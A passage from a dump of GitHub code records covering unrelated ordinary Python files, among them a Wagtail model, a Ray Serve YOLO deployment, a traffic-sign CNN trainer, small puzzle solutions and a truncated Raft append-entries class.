print('Available Annotation files :')\n print(' ')\n for root, dirs, files in os.walk(base_path):\n level = root.replace(base_path, '').count(os.sep)\n subindent = ' ' * 4 * (level+1)\n for f in files:\n if f[-12:] == '_results.csv':\n print('{}{}'.format(subindent, f))\n\ndef check_available_file_resolution(path_osmose_dataset, dataset_ID):\n base_path = path_osmose_dataset + os.sep + dataset_ID + os.sep + 'data' + os.sep + 'audio' + os.sep \n print('Dataset : ',dataset_ID)\n print('Available Resolution (LengthFile_samplerate) :')\n for root, dirs, files in os.walk(base_path):\n level = root.replace(base_path, '').count(os.sep)\n indent = ' ' * 4 * (level+1)\n print('{}{}'.format(indent, os.path.basename(root)))\n \ndef check_available_labels_annotators(path_osmose_dataset, dataset_ID, file_annotation):\n base_path = path_osmose_dataset + os.sep + dataset_ID + os.sep \n xl_data = pd.read_csv(base_path + 'final' + os.sep + 'Annotation_Aplose' + os.sep + file_annotation)\n FullLabelsList = list(dict.fromkeys(xl_data['annotation']))\n FullAnnotatorsList = list(dict.fromkeys(xl_data['annotator']))\n print('Labels Annotated : ',FullLabelsList)\n print('Annotators : ',FullAnnotatorsList)\n \n \ndef check_available_ai_datasplit(path_osmose_AI, Task_ID, BM_Name):\n print('Datasplits available in this task and this benchmark : ') \n base_path = path_osmose_AI + os.sep + Task_ID + os.sep + BM_Name + os.sep + 'info_datasplit'\n for root, dirs, files in os.walk(base_path):\n level = root.replace(base_path, '').count(os.sep)\n indent = ' ' * 4 * (level)\n print('{}{}/'.format(indent, os.path.basename(root))) \n\ndef check_available_ai_model(path_osmose_AI, Task_ID, BM_Name):\n print('Models available in this task and this benchmark : ') \n base_path = path_osmose_AI + os.sep + Task_ID + os.sep + BM_Name + os.sep + 'models'\n for root, dirs, files in os.walk(base_path):\n level = root.replace(base_path, '').count(os.sep)\n indent = ' ' * 4 * (level)\n if level<2 and level>0:\n print('{}{}/'.format(indent, os.path.basename(root))) \n \ndef check_available_formats(path_osmose_dataset, path_osmose_AI, Task_ID, BM_Name):\n base_path = path_osmose_AI + os.sep + Task_ID + os.sep + BM_Name + os.sep + 'info_datasplit' + os.sep\n metadata = np.load(base_path + 'Fdataset_metadata.npz')\n dataset_ID_tab = metadata['dataset_ID_tab']\n for dataset_ID in dataset_ID_tab:\n base_path_dataset = path_osmose_dataset + os.sep + dataset_ID + os.sep + 'processed' + os.sep + 'spectrogram' \n print('_______________')\n print('Dataset : ',dataset_ID)\n if not os.path.exists(base_path_dataset): print('--- No pre-computed spectrograms ---')\n \n else:\n print('Available Spectrogram Format (nfft_windowsize_overlap) :')\n\n for folder in os.listdir(base_path_dataset):\n level = 1\n indent = ' ' * 4 * (level)\n print(indent, folder) \n if os.path.exists(base_path_dataset + os.sep + folder):\n if folder != 'adjust_metadata.csv':\n for subfolder in os.listdir(base_path_dataset + os.sep + folder):\n level = 2\n indent = ' ' * 4 * (level)\n print(indent, subfolder)\n \n \n\ndef check_available_ai_tasks_benchmark_modeltrained(path_osmose_AI):\n path_osmose_AI = path_osmose_AI + os.sep\n \n for root, dirs, files in os.walk(path_osmose_AI):\n level = root.replace(path_osmose_AI, '').count(os.sep)\n indent = ' ' * 4 * (level)\n if level <= 3:\n if level >= 2: \n if 'models' not in root:\n continue\n print('{}{}/'.format(indent, os.path.basename(root)))\n \n\n \ndef check_available_ai_trainednetwork(path_osmose_dataset, dataset_ID, Task_ID, BM_Name, LengthFile, Fs):\n folderName_audioFiles = str(LengthFile)+'_'+str(int(Fs))\n base_path = path_osmose_dataset + os.sep + dataset_ID + os.sep + 'AI' + os.sep + Task_ID + os.sep + BM_Name + os.sep + folderName_audioFiles + os.sep + 'models'\n \n for root, dirs, files in os.walk(base_path):\n level = root.replace(base_path, '').count(os.sep)\n if level <= 1:\n indent = ' ' * 4 * (level)\n print('{}{}/'.format(indent, os.path.basename(root)))\n\n\n\ndef check_available_formats_from_dataset(path_osmose_dataset, dataset_ID):\n base_path_dataset = path_osmose_dataset + os.sep + dataset_ID + os.sep + 'processed' + os.sep + 'spectrogram' \n print('_______________')\n print('Dataset : ',dataset_ID)\n print('Available Spectrogram Format (nfft_windowsize_overlap) :')\n for root, dirs, files in os.walk(base_path_dataset):\n level = root.replace(base_path_dataset, '').count(os.sep)\n indent = ' ' * 2 * (level-1)\n if level<3 and level>1:\n if 'adjustment_spectros' not in os.path.basename(root):\n print('{}{}/'.format(indent, os.path.basename(root))) ","repo_name":"Project-OSmOSE/osmose-AI","sub_path":"Functions/check_files_in_ai_folders.py","file_name":"check_files_in_ai_folders.py","file_ext":"py","file_size_in_byte":6583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19071770782","text":"from django.db import models\nfrom django import forms\n\nfrom modelcluster.fields import ParentalManyToManyField\nfrom wagtail.core.models import Page\nfrom wagtail.core.fields import RichTextField\nfrom wagtail.admin.edit_handlers import FieldPanel\nfrom wagtail.images.edit_handlers import ImageChooserPanel\nfrom wagtail.search import index\n\n\nclass PartnerIndexPage(Page):\n intro = RichTextField(blank=True)\n\n def get_context(self, request):\n # Update context to include only published posts, ordered by reverse-chron\n context = super().get_context(request)\n partnerpages = self.get_children().live()\n context['partnerpages'] = partnerpages\n return context\n\nclass PartnerCategories(models.Model):\n category = models.CharField(max_length=250)\n\n class Meta:\n ordering = ('category',)\n\n def __str__(self):\n return self.category \n\nclass PartnerPage(Page):\n date = models.DateField(\"Post date\")\n name = models.CharField(max_length=250)\n logo = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n website = models.URLField()\n category = ParentalManyToManyField(PartnerCategories, blank=False)\n\n search_fields = Page.search_fields + [\n index.SearchField('name'),\n ]\n\n content_panels = Page.content_panels + [\n FieldPanel('date'),\n FieldPanel('name'),\n ImageChooserPanel('logo'),\n FieldPanel('website'),\n FieldPanel('category', widget=forms.CheckboxSelectMultiple)\n ]","repo_name":"NiJeLorg/UNITEPinellas","sub_path":"website/partners/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22900127611","text":"from pathlib import Path\nfrom typing import NamedTuple\n\nimport numpy as np\nimport torch\nfrom ray import serve\nfrom starlette.requests import Request\n\nfrom inference_rayserve.settings import settings\nfrom nn.inference.predictor import prepare_detection_input, prepare_recognition_input\nfrom nn.models import load_yolo\nfrom nn.settings import settings as settings_nn\n\n\nclass YoloPrediction(NamedTuple):\n plates: np.ndarray\n coordinates: np.ndarray\n\n\nclass YoloModel:\n def __init__(self, model_file: Path, device: torch.device = torch.device(\"cpu\")):\n self.model = load_yolo(model_file, settings_nn.YOLO.CONFIDENCE, device)\n\n def predict(self, inputs: np.ndarray) -> YoloPrediction:\n inputs = inputs.astype(np.float32)\n image = prepare_detection_input(inputs)\n\n detection = self.model(image, size=settings_nn.YOLO.PREDICT_SIZE)\n\n df_results = detection.pandas().xyxy[0]\n plates = prepare_recognition_input(\n df_results, image, return_torch=False\n ).astype(\n np.float32\n ) # (n, 3, h, w)\n coordinates = df_results[[\"xmin\", \"ymin\", \"xmax\", \"ymax\"]].to_numpy() # (n, 4)\n\n return YoloPrediction(plates, coordinates)\n\n async def __call__(self, http_request: Request) -> YoloPrediction:\n image = np.array(await http_request.json())\n print(image.shape, flush=True)\n prediction = self.predict(image)\n return prediction\n\n\nYoloDeployment = serve.deployment(\n YoloModel,\n \"yolo\",\n ray_actor_options={\n \"num_cpus\": settings.CPU_PER_MODEL,\n \"num_gpus\": settings.GPU_PER_MODEL,\n },\n)\n","repo_name":"EgShes/one_task_multiple_infras","sub_path":"inference_rayserve/inference_rayserve/models/yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"32224966821","text":"from typing import List\nimport collections\nclass Solution:\n def countAndSay(self, n: int) -> str:\n if n == 1:\n return \"1\"\n else:\n res = self.countAndSay(n-1)\n prev = res[0]\n count = 1\n ans = ''\n for i in range(1, len(res)):\n if res[i] != prev:\n ans += ( str(count) + prev)\n count = 1 \n prev = res[i]\n else:\n count += 1\n ans += (str(count) + prev)\n return ans\n\nsol = Solution()\nn = 5\nres = sol.countAndSay(n)\nprint(res)\n\n\n# another implementation of the algorithm","repo_name":"chrisbyd/leetcode_chris","sub_path":"string/38.py","file_name":"38.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33740303121","text":"from color_analysis.train.components import BayesSpmComponents\nfrom utils import general\nfrom utils.log import LogFactory\nfrom utils.tuples import Pixel\n\n\nclass SfaComponentExtractor:\n def __init__(self, path_positive_images, path_negative_images, color_space, logger=LogFactory.get_default_logger()):\n self.path_positive_images = path_positive_images\n self.path_negative_images = path_negative_images\n self.color_space = color_space\n\n self.appearances = {}\n self.appearances_as_skin = {}\n self.skin_pixels = 0\n self.non_skin_pixels = 0\n\n self.logger = logger\n\n def extract_components(self):\n self.extract_skin_pixels()\n self.extract_non_skin_pixels()\n return BayesSpmComponents(self.skin_pixels, self.non_skin_pixels, self.appearances, self.appearances_as_skin)\n\n def extract_skin_pixels(self):\n self.logger.log(\"Calculating bayes spm components for skin images\")\n skin_images = general.load_images_from_folder(self.path_positive_images)\n for image in skin_images:\n image = general.convert_color(image, self.color_space)\n\n rows = image.shape[0]\n cols = image.shape[1]\n for x_pixel in range(rows):\n for y_pixel in range(cols):\n self.skin_pixels += 1\n pixel = image[x_pixel, y_pixel]\n p = Pixel(F1=pixel[0], F2=pixel[1], F3=pixel[2])\n if p in self.appearances:\n self.appearances[p] += 1\n self.appearances_as_skin[p] += 1\n else:\n self.appearances[p] = 1\n self.appearances_as_skin[p] = 1\n\n def extract_non_skin_pixels(self):\n self.logger.log(\"Calculating bayes spm components for nonskin images\")\n non_skin_images = general.load_images_from_folder(self.path_negative_images)\n for image in non_skin_images:\n image = general.convert_color(image, self.color_space)\n\n rows = image.shape[0]\n cols = image.shape[1]\n for x_pixel in range(rows):\n for y_pixel in range(cols):\n self.non_skin_pixels += 1\n pixel = image[x_pixel, y_pixel]\n p = Pixel(F1=pixel[0], F2=pixel[1], F3=pixel[2])\n if p in self.appearances:\n self.appearances[p] += 1\n else:\n self.appearances[p] = 1\n","repo_name":"StefanSebastian/SkinDetectionInImages","sub_path":"implementation/color_analysis/train/sfa.py","file_name":"sfa.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"18150187547","text":"import sys\nsys.stdin = open('input.txt', \"r\")\n\ndef union(a,b):\n a = find(a)\n b = find(b)\n \n if a >= b:\n root[a] = b\n else:\n root[b] = a\n \n\ndef find(x):\n if root[x] != x:\n root[x] = find(root[x])\n return root[x]\n\nn,m,k = map(int, sys.stdin.readline().rstrip().split())\nfriendCost = [0] + list(map(int, sys.stdin.readline().rstrip().split()))\nroot = [i for i in range (n+1)]\nfor _ in range (m):\n v,w = map(int, sys.stdin.readline().rstrip().split())\n if find(v) != find(w):\n union(v,w)\n\ncheck = {}\nfor idx in range (1,n+1):\n if find(idx) in check:\n check[find(idx)] = min(check[find(idx)], friendCost[idx])\n else:\n check[find(idx)] = friendCost[idx]\n \nanswer = sum(check.values())\nif answer > k:\n print('Oh no')\nelse:\n print(answer)","repo_name":"aver1001/Problem-Solving","sub_path":"풀이 완료/16562/acmicpc.py","file_name":"acmicpc.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12466467717","text":"'''\n영문 소문자(a ~ z) 1개가 입력되었을 때,\na부터 그 문자까지의 알파벳을 순서대로 출력하기\n\n\n-----------------------------------------------------------\n��력예시\nf\n\n출력예시\na b c d e f\n\n'''\n\n# 방법 1\ntxt = ord(input('영문 소문자 1개를 입력해주세요\\n->'))\nalpha = [chr(i) for i in range(97, txt+1)]\nprint(*alpha)\n\n\n# 방법 2\ntxt = ord(input('영문 소문자 1개를 입력해주세요\\n->'))\nalpha = ord('a')\n\nwhile(alpha <= txt):\n print(chr(alpha), end=' ')\n alpha += 1\n\n","repo_name":"Ranunn/algorithm","sub_path":"codeup_100/codeup_6074.py","file_name":"codeup_6074.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14659482076","text":"from setuptools import setup\n\npackage_name = 'custom_zed_projection'\n\nsetup(\n name=package_name,\n version='0.1.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ('share/' + package_name + '/launch', ['launch/custom_zed_projection.launch.py'])\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n author='Your Name',\n author_email='your.email@example.com',\n maintainer='Your Name',\n maintainer_email='your.email@example.com',\n keywords=['ROS'],\n classifiers=[\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.8',\n ],\n description=(\n 'A custom ROS2 package to project ZED2i depth data with specific region of interest '\n 'having z-values set to zero.'\n ),\n license='Apache License, Version 2.0',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n 'custom_zed_projection_node = custom_zed_projection.custom_zed_projection_node:main'\n ],\n },\n)\n","repo_name":"HyunCello/toolkit_in_ros2","sub_path":"custom_zed_projection/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20375519571","text":"from dataclasses import InitVar\nfrom dataclasses import dataclass\nfrom dataclasses import field\nfrom enum import Enum\nfrom meya.db.view.thread import ThreadView\nfrom meya.db.view.user import UserView\nfrom typing import Any\nfrom typing import ClassVar\nfrom typing import Dict\n\n\nclass CollectionScope(Enum):\n USER = \"user\"\n USER_OVERWRITE = \"user_overwrite\"\n THREAD = \"thread\"\n THREAD_OVERWRITE = \"thread_overwrite\"\n EVENT = \"event\"\n\n\n@dataclass\nclass DataCollector:\n collect_config: InitVar[dataclass]\n user_view: UserView\n thread_view: ThreadView\n\n def __post_init__(self, collect_config: dataclass):\n self._custom_context = {}\n self._event_context = {}\n self._collect_config = collect_config\n\n def __setattr__(self, key, value):\n if not hasattr(self, \"_collect_config\"):\n super().__setattr__(key, value)\n return\n if not hasattr(self._collect_config, key):\n raise ValueError(\n f\"No scope defined for '{key}' in your collect config.\"\n )\n scope = getattr(self._collect_config, key)\n if scope is None:\n return\n elif scope == CollectionScope.EVENT:\n if key == \"context\" and isinstance(value, dict):\n self._custom_context.update(value)\n else:\n self._event_context[key] = value\n elif scope == CollectionScope.USER:\n if self.user_view[key] is None:\n self.user_view[key] = value\n elif scope == CollectionScope.USER_OVERWRITE:\n self.user_view[key] = value\n elif scope == CollectionScope.THREAD:\n if self.thread_view[key] is None:\n self.thread_view[key] = value\n elif scope == CollectionScope.THREAD_OVERWRITE:\n self.thread_view[key] = value\n else:\n raise ValueError(f\"Unknown scope '{scope}' for key '{key}'\")\n\n @property\n def event_context(self):\n return {**self._custom_context, **self._event_context}\n\n\n@dataclass\nclass LanguageData:\n DEFAULT_SCOPE: ClassVar = CollectionScope.USER\n\n\n@dataclass\nclass IpAddressData:\n DEFAULT_SCOPE: ClassVar = CollectionScope.EVENT\n\n\n@dataclass\nclass ReferrerData:\n DEFAULT_SCOPE: ClassVar = CollectionScope.EVENT\n\n\n@dataclass\nclass UrlData:\n DEFAULT_SCOPE: ClassVar = CollectionScope.EVENT\n\n\n@dataclass\nclass ContextData:\n DEFAULT_SCOPE: ClassVar = CollectionScope.EVENT\n","repo_name":"meya-customers/meya-sdk","sub_path":"meya/data_collection/collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72601492674","text":"import tensorflow as tf\nimport pickle\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib import pylab\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport cv2\n\"\"\"\nlearning rate : 0.0005%\nY : 100, UV : 8\nBatch Normalization\nkernel_initialization = std*0.01\ndata normalization : data/255\n\"\"\"\ndef build_graph(is_training):\n \"\"\"define model architecture, loss function, optimizer\"\"\"\n def conv2d(x, W, b, stride=1):\n \"\"\"define convolution layer\"\"\"\n x = tf.nn.conv2d(x, W, strides=[1, stride, stride, 1], padding='SAME')\n x = tf.nn.bias_add(x, b)\n return tf.nn.relu(x)\n\n def maxpool2d(x, k=2):\n \"\"\"define max pooling layer\"\"\"\n return tf.nn.max_pool(\n x,\n ksize = [1, k, k, 1],\n strides = [1, k, k, 1],\n padding='SAME')\n\n def batch_norm(inputs, is_training, decay=0.9, eps=1e-5):\n \"\"\"Batch Normalization\n\n Args:\n inputs: input data(Batch size) from last layer\n is_training: when you test, please set is_training \"None\"\n Returns:\n output for next layer\n \"\"\"\n gamma = tf.Variable(tf.ones(inputs.get_shape()[1:]), name=\"gamma\")\n beta = tf.Variable(tf.zeros(inputs.get_shape()[1:]), name=\"beta\")\n pop_mean = tf.Variable(tf.zeros(inputs.get_shape()[1:]), trainable=False, name=\"pop_mean\")\n pop_var = tf.Variable(tf.ones(inputs.get_shape()[1:]), trainable=False, name=\"pop_var\")\n\n if is_training != None:\n batch_mean, batch_var = tf.nn.moments(inputs, [0])\n train_mean = tf.assign(pop_mean, pop_mean * decay + batch_mean*(1 - decay))\n train_var = tf.assign(pop_var, pop_var * decay + batch_var * (1 - decay))\n with tf.control_dependencies([train_mean, train_var]):\n return tf.nn.batch_normalization(inputs, batch_mean, batch_var, beta, gamma, eps)\n else:\n return tf.nn.batch_normalization(inputs, pop_mean, pop_var, beta, gamma, eps)\n\n def create_model(x, weights, biases, is_training):\n \"\"\"define model architecture\"\"\"\n conv1_1 = conv2d(tf.expand_dims(x[:, :, :, 0], 3), weights['layer_1_1'], biases['layer_1_1'])\n conv1_2 = conv2d(x[:, :, :, 1:], weights['layer_1_2'], biases['layer_1_2'])\n conv1 = tf.concat(3, [conv1_1, conv1_2])\n conv1 = maxpool2d(conv1, 2)\n conv1 = batch_norm(conv1, is_training)\n\n conv2 = conv2d(conv1, weights['layer_2'], biases['layer_2'])\n conv2 = maxpool2d(conv2, 2)\n conv2 = batch_norm(conv2, is_training)\n\n layer_3_1 = tf.reshape(\n conv2,\n [-1, 8*8*200]\n )\n layer_3_2 = tf.reshape(\n conv1,\n [-1, 16*16*108]\n )\n fc1 = tf.concat(1, [layer_3_1, layer_3_2])\n\n fully = tf.add(tf.matmul(fc1, weights['fully']), biases['fully'])\n fully = tf.nn.relu(fully)\n fully = batch_norm(fully, is_training)\n out = tf.add(tf.matmul(fully, weights['out']), biases['out'])\n return out\n\n layer_width = {\n 'layer_1_1' : 100,\n 'layer_1_2' : 8,\n 'layer_2' : 200,\n 'fully' : 300,\n 'out' : 43\n }\n\n #weight = [filter_width, filter_height, in_channels, out_channel]\n weights = {\n 'layer_1_1' : tf.Variable(\n tf.truncated_normal([5, 5, 1, layer_width['layer_1_1']],\n stddev=0.01, seed=832289), name=\"w_layer_1_1\"),\n 'layer_1_2' : tf.Variable(\n tf.truncated_normal([5, 5, 2, layer_width['layer_1_2']],\n stddev=0.01, seed=832289), name=\"w_layer_1_2\"),\n 'layer_2' : tf.Variable(\n tf.truncated_normal([3, 3, layer_width['layer_1_1']+layer_width['layer_1_2'],\n layer_width['layer_2']], stddev=0.01, seed=832289), name=\"w_layer_2\"),\n 'fully' : tf.Variable(\n tf.truncated_normal([8 * 8 * layer_width['layer_2'] + 16*16*108, layer_width['fully']],\n stddev=0.01, seed=832289), name=\"w_fully\"),\n 'out' : tf.Variable(\n tf.truncated_normal([layer_width['fully'], layer_width['out']],\n stddev=0.01, seed=832289), name=\"w_out\")\n }\n\n biases = {\n 'layer_1_1' : tf.Variable(tf.zeros(layer_width['layer_1_1']), name=\"b_layer_1_1\"),\n 'layer_1_2' : tf.Variable(tf.zeros(layer_width['layer_1_2']), name=\"b_layer_1_2\"),\n 'layer_2' : tf.Variable(tf.zeros(layer_width['layer_2']), name=\"b_layer_2\"),\n 'fully' : tf.Variable(tf.zeros(layer_width['fully']), name=\"b_fully\"),\n 'out' : tf.Variable(tf.zeros(layer_width['out']), name=\"b_out\")\n }\n\n\n x = tf.placeholder(\"float\", [None, 32, 32, 3])\n y = tf.placeholder(\"float\", [None, 43])\n phase_train = tf.placeholder(tf.bool, name='phase_train') if is_training else None\n\n classifier = create_model(x, weights, biases, phase_train)\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(classifier, y))\n opt = tf.train.AdamOptimizer(0.0005)\n optimizer = opt.minimize(cost)\n correct_prediction = tf.equal(tf.argmax(classifier, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n\n return x, phase_train, y, optimizer, cost, accuracy\n\ndef get_accuracy(x, y, phase_train, X_test, Y_test, accuracy, test_batch_size=30):\n \"\"\"Get accuracy of selected datasets\"\"\"\n num_iter = X_test.shape[0] // test_batch_size\n num_accuracy= 0\n for ni in range(num_iter):\n num_accuracy += accuracy.eval({x : X_test[test_batch_size*ni : test_batch_size*(ni+1)],\n y : Y_test[test_batch_size*ni : test_batch_size*(ni+1)], phase_train: None})\n num_accuracy = num_accuracy / num_iter\n return num_accuracy\n\ndef train_validation_test(X_train, Y_train, X_valid, Y_valid, X_test, Y_test, training_epochs=200, batch_size=378):\n \"\"\"Excecute Training, Validation, Test\n\n Returns:\n valid_accuracy_list (list): accuracy of Validation sets of each epoch\n test_accuracy_list (list): accuracy of Test sets of each epoch\n \"\"\"\n batch_size = batch_size\n training_epochs = training_epochs\n\n test_accuracy_list = []\n valid_accuracy_list = []\n x, phase_train, y, optimizer, cost, accuracy = build_graph(is_training=True)\n saver = tf.train.Saver()\n\n with tf.Session() as sess:\n sess.run(tf.initialize_all_variables())\n\n for epoch in range(training_epochs):\n sum_cost = 0\n total_batch = len(X_train)//batch_size\n for i in range(total_batch):\n batch_x, batch_y = X_train[i*batch_size : (i+1) * batch_size], Y_train[i*batch_size : (i+1) * batch_size]\n sess.run(optimizer, feed_dict={x: batch_x, y: batch_y, phase_train: True})\n sum_cost += sess.run(cost, feed_dict={x: X_train, y: Y_train})\n print(\"Epoch:\", '%04d' % (epoch+1), \"cost=\", \"{:.9f}\".format(sum_cost))\n\n valid_accuracy = get_accuracy(x, y, phase_train, X_valid, Y_valid, accuracy, test_batch_size=30)\n valid_accuracy_list.append(valid_accuracy)\n print(\n \"valid Accuracy:\",\n valid_accuracy\n )\n\n test_accuracy = get_accuracy(x, y, phase_train, X_test, Y_test, accuracy, test_batch_size=30)\n test_accuracy_list.append(test_accuracy)\n print(\n \"test Accuracy:\",\n test_accuracy\n )\n print(\"Optimization Finished!\")\n saver.save(sess, \"model.ckpt\")\n\n return valid_accuracy_list, test_accuracy_list\n\ndef shuffle_datasets(x, y):\n \"\"\"shuffle datasets\"\"\"\n np.random.seed(832289)\n argnum = np.arange(y.shape[0])\n np.random.shuffle(argnum)\n x = x[argnum]\n y = y[argnum]\n return x, y\n\ndef RGB_to_YUV(images):\n \"\"\"Image color space conversion from RGB to YUV\n\n Args:\n images (numpy array): 3 or 4 dimension. RGB Image\n 4 dimension is (batch size, image shape)\n Returns\n images (numpy array): 3 or 4 dimension. YUV Image\n \"\"\"\n if images.ndim == 4:\n for xi in range(images.shape[0]):\n images[xi] = cv2.cvtColor(images[xi], cv2.COLOR_RGB2YUV)\n return images\n else:\n images = cv2.cvtColor(images, cv2.COLOR_RGB2YUV)\n return images\n\ndef divide_training_and_validataion(original_X_train, original_y_train, n_classes, test_size=0.08):\n \"\"\"divide training sets into training and validation sets.\n Training Sets has same portion(0.92) of each category.\n Validation Sets has same portion(0.08)\n\n Args:\n original_X_train (numpy array): 4 dimension Datasets for Training(image)\n original_y_train (numpy array): 1-dimension Datasets for Training(category)\n n_classes (int): number of categories\n\n Returns\n X_train (numpy array): 4 dimension Training Sets(image)\n X_valid (numpy array): 4 dimension Validation Sets(image)\n y_train (numpy array): 1 dimension Training Sets(category)\n y_valid (numpy array): 1 dimension Validation Sets(category)\n \"\"\"\n X_train = np.array([]); X_valid = np.array([])\n y_train = np.array([]); y_valid = np.array([])\n\n sum_of_each_categories = 0\n for nc in range(n_classes):\n sum_of_each_categories += np.sum(original_y_train == nc)\n x = original_X_train[sum_of_each_categories : sum_of_each_categories + sum_of_each_categories]\n y = original_y_train[sum_of_each_categories : sum_of_each_categories + sum_of_each_categories]\n train_feature, valid_feature, train_label, valid_label = train_test_split(\n x,\n y,\n test_size=test_size,\n random_state=3\n )\n if nc == 0:\n X_train = train_feature; X_valid = valid_feature\n y_train = train_label; y_valid = valid_label\n else:\n X_train = np.concatenate([X_train, train_feature], axis=0)\n X_valid = np.concatenate([X_valid, valid_feature], axis=0)\n y_train = np.concatenate([y_train, train_label], axis=0)\n y_valid = np.concatenate([y_valid, valid_label], axis=0)\n\n return X_train, X_valid, y_train, y_valid\n\ndef to_onehot_vector(y_values, n_classes):\n \"\"\"convert to one hot vector\"\"\"\n onehot_y = np.zeros((y_values.shape[0], n_classes))\n onehot_y[np.arange(y_values.shape[0]), y_values] = 1\n return onehot_y\n\ndef main():\n training_file = './train.p'\n test_file = './test.p'\n\n with open(training_file, mode='rb') as f:\n train = pickle.load(f)\n\n with open(test_file, mode='rb') as f:\n test = pickle.load(f)\n\n X_train, y_train = train['features'], train['labels']\n X_test, y_test = test['features'], test['labels']\n\n X_train = RGB_to_YUV(X_train)\n X_test = RGB_to_YUV(X_test)\n\n n_classes = len(set(y_train))\n\n X_train, X_valid, y_train, y_valid = divide_training_and_validataion(X_train, y_train, n_classes)\n\n X_train = X_train / 255\n X_valid = X_valid / 255\n X_test = X_test / 255\n\n X_train, y_train = shuffle_datasets(X_train, y_train)\n X_valid, y_valid = shuffle_datasets(X_valid, y_valid)\n\n Y_train = to_onehot_vector(y_train, n_classes)\n Y_valid = to_onehot_vector(y_valid, n_classes)\n Y_test = to_onehot_vector(y_test, n_classes)\n\n training_epochs = 200\n valid_accuracy_list, test_accuracy_list = train_validation_test(X_train, Y_train, X_valid, Y_valid, X_test, Y_test, training_epochs=training_epochs, batch_size=378)\n\n plt.plot(np.arange(0,training_epochs), test_accuracy_list, 'b', label=\"test accuracy\")\n plt.plot(np.arange(0,training_epochs), valid_accuracy_list, 'r', label=\"valid accuracy\")\n plt.legend(loc='best')\n plt.yticks(np.arange(0.00, 1.05, 0.05))\n plt.xlabel(\"epoch\");plt.ylabel(\"accuracy\")\n plt.title(\"model.py\"); plt.savefig(\"model.png\", dpi=150)\n np.savez('model.npz', valid=valid_accuracy_list, test=test_accuracy_list)\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"yukitsuji/Traffic_Signs_Recognition_cnn","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":12111,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"23422412691","text":"f = open('B-large.in','rb')\ng = open('output3.txt','wb')\nnumCases = int(f.next())\n\ndef res(C, F, X):\n\tslope = 2\n\tintercept = C/slope\n\ttime = X/slope\n\tslope += F\n\tnexttime = intercept + X/slope\n\twhile time > nexttime:\n\t\tintercept = intercept + C/slope\n\t\tslope += F\n\t\ttime = nexttime\n\t\tnexttime = intercept + X/slope\n\treturn time\n\n\nfor case in xrange(numCases):\n\tx = f.next().split()\n\tg.write(\"Case #\"+ str(case+1) + \": \" + \"{:.7f}\".format(res(float(x[0]), float(x[1]), float(x[2])))+\"\\n\")\n\ng.close()\nf.close()\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1609.py","file_name":"1609.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10621049704","text":"\"\"\"\n\n\nAuthor: Bingfeng Liu\n\nThis is the class to process the append entreis from the leader\n\n\n\n\"\"\"\n\nimport logging\nfrom LogData import LogData\n\nlogger = logging.getLogger(\"AppendEntiesFollower\")\n\n\nclass AppendEntriesFollower:\n #for follower to receive it\n def __init__(self, append_entries_json_data_dict, raft_peer_state, json_message_commit_queue):\n self.json_message_commit_queue = json_message_commit_queue\n self.raft_peer_state = raft_peer_state\n self.host_port_dict = {\"host\":str(raft_peer_state.my_addr_port_tuple[0]),\n \"port\":str(raft_peer_state.my_addr_port_tuple[1]),\n \"peer_id\":str(raft_peer_state.peer_id)}\n self.leader_term = append_entries_json_data_dict[\"sender_term\"]\n self.leader_id = append_entries_json_data_dict[\"peer_id\"]\n self.prev_log_index = int(append_entries_json_data_dict[\"prev_log_index\"])\n self.prev_log_term = int(append_entries_json_data_dict[\"prev_log_term\"])\n #could be one or more for efficiency, should be a list of log_data_dict\n self.new_entries = append_entries_json_data_dict[\"new_entries\"]\n self.leader_commit_index = int(append_entries_json_data_dict[\"leader_commit_index\"])\n #first => addr, second => port\n self.send_from = tuple(append_entries_json_data_dict[\"send_from\"])\n self.send_to = tuple(append_entries_json_data_dict[\"send_to\"])\n\n #for follower to process received append entries and return result as dict\n\n def process_append_entries(self):\n\n log_index_start = -1\n log_index_end = -1\n\n result = 